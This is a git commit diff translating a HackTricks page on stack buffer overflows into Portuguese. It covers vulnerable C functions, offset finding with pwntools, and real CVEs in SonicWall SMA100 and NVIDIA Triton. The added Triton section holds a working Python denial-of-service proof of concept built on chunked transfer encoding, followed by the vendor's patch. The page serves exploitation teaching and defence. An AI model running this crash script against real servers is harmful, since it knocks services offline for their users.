mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/binary-exploitation/stack-overflow/README.md'] to pt
This commit is contained in:
parent
7211d1b297
commit
8f046c4d75
@ -8,11 +8,11 @@ Um **stack overflow** é uma vulnerabilidade que ocorre quando um programa escre
|
||||
|
||||
O principal problema dessa sobrescrita é que o **ponteiro de instrução salvo (EIP/RIP)** e o **ponteiro de base salvo (EBP/RBP)** para retornar à função anterior estão **armazenados na pilha**. Portanto, um atacante poderá sobrescrever esses valores e **controlar o fluxo de execução do programa**.
|
||||
|
||||
A vulnerabilidade geralmente surge porque uma função **copia na pilha mais bytes do que a quantidade alocada para ela**, conseguindo assim sobrescrever outras partes da pilha.
|
||||
A vulnerabilidade geralmente surge porque uma função **copia para dentro da pilha mais bytes do que a quantidade alocada para ela**, conseguindo assim sobrescrever outras partes da pilha.
|
||||
|
||||
Algumas funções comuns vulneráveis a isso são: **`strcpy`, `strcat`, `sprintf`, `gets`**... Além disso, funções como **`fgets`**, **`read` & `memcpy`** que aceitam um **argumento de comprimento**, podem ser usadas de maneira vulnerável se o comprimento especificado for maior do que o alocado.
|
||||
|
||||
Por exemplo, as seguintes funções poderiam ser vulneráveis:
|
||||
Por exemplo, as seguintes funções podem ser vulneráveis:
|
||||
```c
|
||||
void vulnerable() {
|
||||
char buffer[128];
|
||||
@ -21,13 +21,13 @@ gets(buffer); // This is where the vulnerability lies
|
||||
printf("You entered: %s\n", buffer);
|
||||
}
|
||||
```
|
||||
### Encontrando offsets de Stack Overflows
|
||||
### Encontrando os offsets de Stack Overflows
|
||||
|
||||
A maneira mais comum de encontrar stack overflows é fornecer uma entrada muito grande de `A`s (por exemplo, `python3 -c 'print("A"*1000)'`) e esperar um `Segmentation Fault` indicando que o **endereço `0x41414141` foi tentado acessar**.
|
||||
|
||||
Além disso, uma vez que você encontrou que há uma vulnerabilidade de Stack Overflow, você precisará encontrar o offset até que seja possível **sobrescrever o endereço de retorno**, para isso geralmente é usada uma **sequência de De Bruijn.** Que para um alfabeto dado de tamanho _k_ e subsequências de comprimento _n_ é uma **sequência cíclica na qual cada possível subsequência de comprimento _n_ aparece exatamente uma vez** como uma subsequência contígua.
|
||||
Além disso, uma vez que você encontrou que há uma vulnerabilidade de Stack Overflow, você precisará encontrar o offset até que seja possível **sobrescrever o endereço de retorno**, para isso geralmente é usada uma **sequência de De Bruijn.** Que para um alfabeto dado de tamanho _k_ e subsequências de comprimento _n_ é uma **sequência cíclica na qual cada subsequência possível de comprimento _n_ aparece exatamente uma vez** como uma subsequência contígua.
|
||||
|
||||
Dessa forma, em vez de precisar descobrir manualmente qual offset é necessário para controlar o EIP, é possível usar como preenchimento uma dessas sequências e, em seguida, encontrar o offset dos bytes que acabaram sobrescrevendo-o.
|
||||
Dessa forma, em vez de precisar descobrir manualmente qual offset é necessário para controlar o EIP, é possível usar como preenchimento uma dessas sequências e, em seguida, encontrar o offset dos bytes que acabaram sobrescrevendo-a.
|
||||
|
||||
É possível usar **pwntools** para isso:
|
||||
```python
|
||||
@ -50,7 +50,7 @@ pattern search $rsp #Search the offset given the content of $rsp
|
||||
```
|
||||
## Explorando Estouro de Pilha
|
||||
|
||||
Durante um estouro (supondo que o tamanho do estouro seja grande o suficiente) você poderá **sobrescrever** valores de variáveis locais dentro da pilha até alcançar o **EBP/RBP e EIP/RIP salvos (ou até mais)**.\
|
||||
Durante um estouro (supondo que o tamanho do estouro seja grande o suficiente), você poderá **sobrescrever** valores de variáveis locais dentro da pilha até alcançar o **EBP/RBP e EIP/RIP salvos (ou até mais)**.\
|
||||
A maneira mais comum de abusar desse tipo de vulnerabilidade é **modificando o endereço de retorno** para que, quando a função terminar, o **fluxo de controle seja redirecionado para onde o usuário especificou** neste ponteiro.
|
||||
|
||||
No entanto, em outros cenários, apenas **sobrescrever alguns valores de variáveis na pilha** pode ser suficiente para a exploração (como em desafios CTF fáceis).
|
||||
@ -79,7 +79,7 @@ Esta técnica é a estrutura fundamental para contornar a principal proteção d
|
||||
../rop-return-oriented-programing/
|
||||
{{#endref}}
|
||||
|
||||
## Estouro de Heap
|
||||
## Estouros de Heap
|
||||
|
||||
Um estouro não ocorrerá sempre na pilha, também pode ocorrer no **heap**, por exemplo:
|
||||
|
||||
@ -97,8 +97,7 @@ Existem várias proteções tentando prevenir a exploração de vulnerabilidades
|
||||
|
||||
### Exemplo do Mundo Real: CVE-2025-40596 (SonicWall SMA100)
|
||||
|
||||
Uma boa demonstração de por que **`sscanf` nunca deve ser confiável para analisar entradas não confiáveis** apareceu em 2025 no dispositivo SSL-VPN SMA100 da SonicWall.
|
||||
A rotina vulnerável dentro de `/usr/src/EasyAccess/bin/httpd` tenta extrair a versão e o endpoint de qualquer URI que comece com `/__api__/`:
|
||||
Uma boa demonstração de por que **`sscanf` nunca deve ser confiado para analisar entradas não confiáveis** apareceu em 2025 no dispositivo SSL-VPN SMA100 da SonicWall. A rotina vulnerável dentro de `/usr/src/EasyAccess/bin/httpd` tenta extrair a versão e o endpoint de qualquer URI que comece com `/__api__/`:
|
||||
```c
|
||||
char version[3];
|
||||
char endpoint[0x800] = {0};
|
||||
@ -121,7 +120,66 @@ Mesmo que canários de pilha abortem o processo, um atacante ainda ganha um **De
|
||||
* Sempre forneça uma **largura máxima de campo** (por exemplo, `%511s`).
|
||||
* Prefira alternativas mais seguras, como `snprintf`/`strncpy_s`.
|
||||
|
||||
### Exemplo do Mundo Real: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
|
||||
|
||||
O Triton Inference Server da NVIDIA (≤ v25.06) continha múltiplos **estouramentos de pilha** acessíveis através de sua API HTTP. O padrão vulnerável apareceu repetidamente em `http_server.cc` e `sagemaker_server.cc`:
|
||||
```c
|
||||
int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
|
||||
if (n > 0) {
|
||||
/* allocates 16 * n bytes on the stack */
|
||||
struct evbuffer_iovec *v = (struct evbuffer_iovec *)
|
||||
alloca(sizeof(struct evbuffer_iovec) * n);
|
||||
...
|
||||
}
|
||||
```
|
||||
1. `evbuffer_peek` (libevent) retorna o **número de segmentos de buffer internos** que compõem o corpo da solicitação HTTP atual.
|
||||
2. Cada segmento causa a alocação de um `evbuffer_iovec` de **16 bytes** na **pilha** via `alloca()` – **sem nenhum limite superior**.
|
||||
3. Ao abusar do **_chunked transfer-encoding_ HTTP**, um cliente pode forçar a solicitação a ser dividida em **centenas de milhares de chunks de 6 bytes** (`"1\r\nA\r\n"`). Isso faz com que `n` cresça sem limites até que a pilha se esgote.
|
||||
|
||||
#### Prova de Conceito (DoS)
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
import socket, sys
|
||||
|
||||
def exploit(host="localhost", port=8000, chunks=523_800):
|
||||
s = socket.create_connection((host, port))
|
||||
s.sendall((
|
||||
f"POST /v2/models/add_sub/infer HTTP/1.1\r\n"
|
||||
f"Host: {host}:{port}\r\n"
|
||||
"Content-Type: application/octet-stream\r\n"
|
||||
"Inference-Header-Content-Length: 0\r\n"
|
||||
"Transfer-Encoding: chunked\r\n"
|
||||
"Connection: close\r\n\r\n"
|
||||
).encode())
|
||||
|
||||
for _ in range(chunks): # 6-byte chunk ➜ 16-byte alloc
|
||||
s.send(b"1\r\nA\r\n") # amplification factor ≈ 2.6x
|
||||
s.sendall(b"0\r\n\r\n") # end of chunks
|
||||
s.close()
|
||||
|
||||
if __name__ == "__main__":
|
||||
exploit(*sys.argv[1:])
|
||||
```
|
||||
Uma solicitação de ~3 MB é suficiente para sobrescrever o endereço de retorno salvo e **crash** o daemon em uma build padrão.
|
||||
|
||||
#### Patch & Mitigação
|
||||
A versão 25.07 substitui a alocação de pilha insegura por um **`std::vector` baseado em heap** e lida graciosamente com `std::bad_alloc`:
|
||||
```c++
|
||||
std::vector<evbuffer_iovec> v_vec;
|
||||
try {
|
||||
v_vec = std::vector<evbuffer_iovec>(n);
|
||||
} catch (const std::bad_alloc &e) {
|
||||
return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed");
|
||||
}
|
||||
struct evbuffer_iovec *v = v_vec.data();
|
||||
```
|
||||
Lições aprendidas:
|
||||
* Nunca chame `alloca()` com tamanhos controlados pelo atacante.
|
||||
* Solicitações em partes podem mudar drasticamente a forma dos buffers do lado do servidor.
|
||||
* Valide / limite qualquer valor derivado da entrada do cliente *antes* de usá-lo em alocações de memória.
|
||||
|
||||
## Referências
|
||||
* [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/)
|
||||
* [Trail of Bits – Uncovering memory corruption in NVIDIA Triton](https://blog.trailofbits.com/2025/08/04/uncovering-memory-corruption-in-nvidia-triton-as-a-new-hire/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user